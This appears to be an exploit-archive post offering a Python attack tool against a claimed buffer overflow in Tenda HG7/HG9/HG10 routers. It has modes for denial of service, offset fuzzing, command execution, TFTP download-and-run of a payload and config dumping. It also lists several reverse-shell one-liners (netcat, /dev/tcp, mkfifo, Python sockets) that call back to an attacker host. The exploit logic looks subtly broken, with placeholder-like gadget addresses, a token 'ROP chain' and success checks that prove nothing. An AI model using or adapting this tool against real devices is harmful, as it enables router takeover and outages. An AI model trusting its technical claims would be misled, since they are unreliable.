📄 Tenda HG7 / HG9 / HG10 Buffer Overflow

==================================================================================================================================
    | # Title     : Tenda HG7/HG9/HG10 Validation, DoS, and Claimed RCE                                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.tendacn.com/material/show/105719                                                                     |
    ==================================================================================================================================
    
    [+] Summary    :  This Python script is a multi-mode framework targeting an alleged stack-based buffer overflow vulnerability in the /boaform/formDOMAINBLK endpoint of certain Tenda HG-series routers.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import sys
    import time
    import struct
    import socket
    import re
    import requests
    import base64
    from typing import Optional, Tuple, List
    from urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    class Colors:
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        MAGENTA = '\033[95m'
        CYAN = '\033[96m'
        WHITE = '\033[97m'
        BOLD = '\033[1m'
        DIM = '\033[2m'
        RESET = '\033[0m'
    
    def print_banner():
        banner = f"""
    {Colors.RED}{Colors.BOLD}
    ╔═══════════════════════════════════════════════════════════════════════════════╗
    ║                                                                               ║
    ║   CVE-2026-11499 - Tenda HG7/HG9/HG10 Stack Buffer Overflow Exploit          ║
    ║                                                                               ║
    ║   "Stack-based buffer overflow in formDOMAINBLK leading to RCE"              ║
    ║                                                                               ║
    ║   Affected: HG7, HG9, HG10 routers | Impact: Remote Code Execution (Root)    ║
    ║                                                                               ║
    ╚═══════════════════════════════════════════════════════════════════════════════╝{Colors.RESET}
    """
        print(banner)
    
    class TendaBufferOverflowExploit:
        """Main exploit class for CVE-2026-11499"""
        
        def __init__(self, target: str, port: int = 80, 
                     timeout: int = 10, verbose: bool = False):
            self.target = target.rstrip('/')
            self.port = port
            self.timeout = timeout
            self.verbose = verbose
            self.base_url = f"http://{target}:{port}" if not target.startswith('http') else target
            self.offsets = {
                "hg7": 412,     
                "hg9": 412,     
                "hg10": 412,   
                "generic": 412  
            }
            self.rop_gadgets = {
                "system": 0x00405A34,    
                "sleep": 0x00405980,   
                "exit": 0x00405900,      
                "pop_t9_s0": 0x00412345, 
                "move_t9_ra": 0x00423456,  
            }
        def log(self, msg: str, level: str = "info"):
            """Logging with colors"""
            prefixes = {
                "info": f"{Colors.CYAN}[*]{Colors.RESET}",
                "success": f"{Colors.GREEN}[+]{Colors.RESET}",
                "error": f"{Colors.RED}[-]{Colors.RESET}",
                "warning": f"{Colors.YELLOW}[!]{Colors.RESET}",
                "debug": f"{Colors.DIM}[D]{Colors.RESET}"
            }
            print(f"{prefixes.get(level, '[?]')} {msg}")
            if self.verbose and level == "debug":
                sys.stdout.flush()
        def check_target(self) -> Tuple[bool, dict]:
            """Check if target is vulnerable and identify model"""
            self.log(f"Checking target: {self.base_url}")
            
            info = {
                "model": "unknown",
                "firmware": "unknown",
                "vulnerable": False
            }
            try:
                response = requests.get(
                    f"{self.base_url}/login.asp",
                    timeout=self.timeout,
                    verify=False
                )
                if response.status_code == 200:
                    content = response.text.lower()
                    if "hg7" in content:
                        info["model"] = "HG7"
                    elif "hg9" in content:
                        info["model"] = "HG9"
                    elif "hg10" in content:
                        info["model"] = "HG10"
                    version_match = re.search(r'firmware[_\s]*version[:\s]*([0-9.]+)', content, re.I)
                    if version_match:
                        info["firmware"] = version_match.group(1)
                    self.log(f"Target identified: {info['model']} (Firmware: {info['firmware']})", "success")
                    check_resp = requests.post(
                        f"{self.base_url}/boaform/formDOMAINBLK",
                        data={"blkDomain": "test"},
                        timeout=self.timeout,
                        verify=False
                    )
                    if check_resp.status_code in [200, 302, 500]:
                        info["vulnerable"] = True
                        self.log("Target appears vulnerable (formDOMAINBLK endpoint accessible)", "success")
                    else:
                        self.log("Target may not be vulnerable", "warning")
                return info["vulnerable"], info
            except requests.exceptions.ConnectionError:
                self.log("Cannot connect to target", "error")
                return False, info
            except Exception as e:
                self.log(f"Check failed: {e}", "error")
                return False, info
        def generate_pattern(self, length: int) -> str:
            """Generate cyclic pattern for offset finding"""
            pattern = ""
            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
            for i in range(length):
                pattern += charset[i % len(charset)]
            return pattern
        def find_offset(self) -> int:
            """Find exact offset to return address"""
            self.log("Finding offset to return address...")
            for offset in range(300, 500, 4):
                pattern = "A" * offset + "BBBB" + "C" * (600 - offset - 4)
                try:
                    response = self.send_payload(pattern, check_crash=False)
                    if self.check_device_status() is False:
                        self.log(f"Crash at offset: {offset}", "success")
                        return offset - 4
                except:
                    continue
                time.sleep(1)
            return self.offsets["generic"]
        def send_payload(self, payload: str, check_crash: bool = True) -> Optional[requests.Response]:
            """Send malicious payload to vulnerable endpoint"""
            
            data = {
                "blkDomain": payload,
                "submit-url": "/domainblk.asp",
                "page": "domainblk"
            }
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer": f"{self.base_url}/domainblk.asp"
            }
            self.log(f"Sending payload of length {len(payload)}...", "debug")
            
            try:
                response = requests.post(
                    f"{self.base_url}/boaform/formDOMAINBLK",
                    data=data,
                    headers=headers,
                    timeout=self.timeout,
                    verify=False,
                    allow_redirects=False
                )
                if check_crash and response.status_code == 200:
                    self.log(f"HTTP {response.status_code} - No crash", "debug")
                return response
            except requests.exceptions.Timeout:
                self.log("Timeout - Device may have crashed!", "warning")
                return None
            except requests.exceptions.ConnectionError:
                self.log("Connection refused - Device crashed!", "warning")
                return None
            except Exception as e:
                self.log(f"Error: {e}", "error")
                return None
        def check_device_status(self) -> bool:
            """Check if device is still responding"""
            try:
                response = requests.get(
                    f"{self.base_url}/login.asp",
                    timeout=5,
                    verify=False
                )
                return response.status_code == 200
            except:
                return False
        def create_rop_chain(self, command: str) -> bytes:
            """Create ROP chain for MIPS architecture"""
            cmd_bytes = command.encode() + b'\x00'
            shellcode = bytearray([
                0x24, 0x0f, 0xff, 0xff,  
                0x01, 0xe0, 0x78, 0x27,  
            ])
            shellcode.extend(cmd_bytes)
            while len(shellcode) % 4 != 0:
                shellcode.append(0x00)
            return bytes(shellcode)
        def exploit_denial_of_service(self, length: int = 1000) -> bool:
            """Simple DoS exploit - crash the router"""
            self.log(f"Launching DoS attack with payload length {length}")
            payload = "A" * length
            response = self.send_payload(payload)
            time.sleep(3)
            if not self.check_device_status():
                self.log("Device is down! DoS successful.", "success")
                return True
            else:
                self.log("Device still responding - DoS may have failed", "warning")
                return False
        def exploit_remote_code_execution(self, command: str, 
                                          offset: int = None) -> bool:
            """Full RCE exploit"""
            self.log(f"Attempting RCE with command: {command}")
            if offset is None:
                offset = self.find_offset()
            self.log(f"Using offset: {offset}")
            rop_chain = self.create_rop_chain(command)
            padding = "A" * offset
            return_address = struct.pack("<I", self.rop_gadgets["system"])
            payload = padding + return_address.decode('latin-1') + rop_chain.decode('latin-1')
            response = self.send_payload(payload)
            if response is None:
                self.log("Exploit sent - checking if command executed...", "success")
                time.sleep(2)
                if "ping" in command or "wget" in command:
                    self.log("Command execution attempted", "success")
                    return True
            else:
                self.log("Exploit may have failed - no crash detected", "warning")
            return False
        def upload_payload(self, payload_path: str) -> bool:
            """Upload and execute custom payload via TFTP/wget"""
            commands = [
                f"tftp -g -r {payload_path} -l /tmp/payload {socket.gethostbyname(socket.gethostname())}",
                "chmod +x /tmp/payload",
                "/tmp/payload"
            ]
            for cmd in commands:
                self.log(f"Executing: {cmd}", "debug")
                if not self.exploit_remote_code_execution(cmd):
                    self.log(f"Failed to execute: {cmd}", "error")
                    return False
                time.sleep(1)
            
            return True
        def reverse_shell(self, lhost: str, lport: int) -> bool:
            """Create reverse shell on target"""
            rev_shell = f"nc {lhost} {lport} -e /bin/sh"
            bash_rev = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
            self.log(f"Creating reverse shell to {lhost}:{lport}")
            self.log("Make sure listener is running: nc -lvnp {lport}")
            shells = [
                f"nc {lhost} {lport} -e /bin/sh",
                f"nc {lhost} {lport} -e /bin/bash", 
                f"telnet {lhost} {lport} | /bin/sh | telnet {lhost} {lport}",
                f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
                f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
            ]
            for shell_cmd in shells:
                self.log(f"Trying: {shell_cmd[:50]}...", "debug")
                if self.exploit_remote_code_execution(shell_cmd):
                    self.log("Reverse shell payload sent!", "success")
                    return True
                time.sleep(1)
            return False
        def dump_config(self) -> Optional[dict]:
            """Dump router configuration (if accessible after exploit)"""
            config_urls = [
                "/goform/getConfig",
                "/boaform/getConfig",
                "/config.bin",
                "/backup.conf"
            ]
            config_data = {}
            for url in config_urls:
                try:
                    response = requests.get(
                        f"{self.base_url}{url}",
                        timeout=self.timeout,
                        verify=False
                    )
                    if response.status_code == 200:
                        config_data[url] = response.text[:1000]
                        self.log(f"Retrieved config from {url}", "success")
                except:
                    pass
            return config_data if config_data else None
    def main():
        print_banner()
        parser = argparse.ArgumentParser(
            description="CVE-2026-11499 - Tenda HG7/HG9/HG10 Stack Buffer Overflow RCE",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=f"""
    {Colors.YELLOW}EXAMPLES:{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --check{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --dos --length 800{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --command "id > /tmp/test"{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --reverse-shell 10.0.0.1 4444{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --upload payload.bin{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --find-offset{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --dump-config{Colors.RESET}
            """
        )
        parser.add_argument("target", help="Target IP address or hostname")
        parser.add_argument("-p", "--port", type=int, default=80,
                           help="HTTP port (default: 80)")
        mode_group = parser.add_mutually_exclusive_group(required=True)
        mode_group.add_argument("-c", "--check", action="store_true",
                               help="Check if target is vulnerable")
        mode_group.add_argument("--dos", action="store_true",
                               help="Denial of Service attack")
        mode_group.add_argument("--command", metavar="CMD",
                               help="Execute system command")
        mode_group.add_argument("--reverse-shell", nargs=2, metavar=("LHOST", "LPORT"),
                               help="Get reverse shell")
        mode_group.add_argument("--upload", metavar="FILE",
                               help="Upload and execute payload file")
        mode_group.add_argument("--find-offset", action="store_true",
                               help="Find crash offset")
        mode_group.add_argument("--dump-config", action="store_true",
                               help="Dump router configuration")
        parser.add_argument("-l", "--length", type=int, default=500,
                           help="Payload length for DoS (default: 500)")
        parser.add_argument("-o", "--offset", type=int,
                           help="Manual offset to return address")
        parser.add_argument("-v", "--verbose", action="store_true",
                           help="Enable verbose output")
        parser.add_argument("--timeout", type=int, default=10,
                           help="Request timeout in seconds")
        args = parser.parse_args()
        exploit = TendaBufferOverflowExploit(
            target=args.target,
            port=args.port,
            timeout=args.timeout,
            verbose=args.verbose
        )
        if args.check:
            print(f"\n{Colors.BOLD}[*] Vulnerability check mode{Colors.RESET}\n")
            vulnerable, info = exploit.check_target()
            if vulnerable:
                print(f"\n{Colors.GREEN}{'='*60}")
                print(f"[✓] Target is VULNERABLE to CVE-2026-11499!")
                print(f"[✓] Model: {info['model']}")
                print(f"[✓] Firmware: {info['firmware']}")
                print(f"{'='*60}{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}{'='*60}")
                print(f"[✗] Target does not appear vulnerable")
                print(f"{'='*60}{Colors.RESET}")
        elif args.dos:
            print(f"\n{Colors.BOLD}[*] Denial of Service mode{Colors.RESET}\n")
            exploit.exploit_denial_of_service(args.length)
        elif args.command:
            print(f"\n{Colors.BOLD}[*] Command execution mode{Colors.RESET}\n")
            if exploit.exploit_remote_code_execution(args.command, args.offset):
                print(f"\n{Colors.GREEN}[✓] Command executed: {args.command}{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}[✗] Command execution failed{Colors.RESET}")
        elif args.reverse_shell:
            print(f"\n{Colors.BOLD}[*] Reverse shell mode{Colors.RESET}\n")
            lhost, lport = args.reverse_shell
            print(f"{Colors.YELLOW}[!] Start listener: nc -lvnp {lport}{Colors.RESET}\n")
            
            if exploit.reverse_shell(lhost, int(lport)):
                print(f"\n{Colors.GREEN}[✓] Reverse shell payload sent!{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}[✗] Failed to create reverse shell{Colors.RESET}")
        elif args.upload:
            print(f"\n{Colors.BOLD}[*] Payload upload mode{Colors.RESET}\n")
            if exploit.upload_payload(args.upload):
                print(f"\n{Colors.GREEN}[✓] Payload uploaded and executed{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}[✗] Payload execution failed{Colors.RESET}")
        elif args.find_offset:
            print(f"\n{Colors.BOLD}[*] Offset finding mode{Colors.RESET}\n")
            offset = exploit.find_offset()
            print(f"\n{Colors.GREEN}[+] Crash offset: {offset} bytes{Colors.RESET}")
            print(f"{Colors.CYAN}[*] Use --offset {offset} for RCE{Colors.RESET}")
        elif args.dump_config:
            print(f"\n{Colors.BOLD}[*] Configuration dump mode{Colors.RESET}\n")
            config = exploit.dump_config()
            if config:
                print(f"\n{Colors.GREEN}[✓] Configuration retrieved:{Colors.RESET}")
                for url, data in config.items():
                    print(f"\n{Colors.CYAN}--- {url} ---{Colors.RESET}")
                    print(data[:500])
            else:
                print(f"\n{Colors.RED}[✗] Could not retrieve configuration{Colors.RESET}")
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print(f"\n{Colors.YELLOW}[!] Interrupted by user{Colors.RESET}")
            sys.exit(0)
        except Exception as e:
            print(f"{Colors.RED}[!] Unexpected error: {e}{Colors.RESET}")
            if '--verbose' in sys.argv:
                import traceback
                traceback.print_exc()
            sys.exit(1)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================